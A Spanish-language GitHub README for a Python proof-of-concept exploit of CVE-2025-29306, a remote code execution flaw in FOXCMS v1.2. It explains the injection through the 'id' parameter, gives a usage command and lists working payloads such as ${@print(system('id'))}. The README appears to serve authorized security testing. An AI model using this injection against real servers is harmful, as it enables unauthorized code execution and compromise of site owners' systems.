inok009/foxcms-cve-2025-29306-pocPoC en Python para CVE-2025-29306, una inyección de parámetros RCE en FOXCMS v1.2. Inyecta código PHP a través del parámetro id en /images/index.html para pruebas de seguridad autorizadas.
Este repositorio contiene un PoC basado en Python para una vulnerabilidad de Ejecución Remota de Código (RCE) que afecta a FOXCMS v1.2, un sistema de gestión de contenidos de código abierto chino.
CVE-ID: CVE-2025-29306
Afecta: FOXCMS v1.2
Tipo: Inyección de Parámetros de Servicio → Ejecución de Código
FOXCMS sufre de un mecanismo inseguro de análisis de parámetros en el parámetro id del endpoint /images/index.html. Esto permite la inyección de payloads utilizando expresiones ${@print()}, lo que lleva a la ejecución de código PHP.
requestspip install requests
# Usage
python foxcms_poc.py http://target.com/images/index.html?id=
# The script uses payloads like:
${@print(phpinfo())}
${@print(system('id'))}
# 🔐 Aviso Legal
Este código es solo para fines educativos y pruebas de seguridad autorizadas.
NO lo utilices en sistemas que no poseas o para los que no tengas permiso de prueba.
Autor
Inok009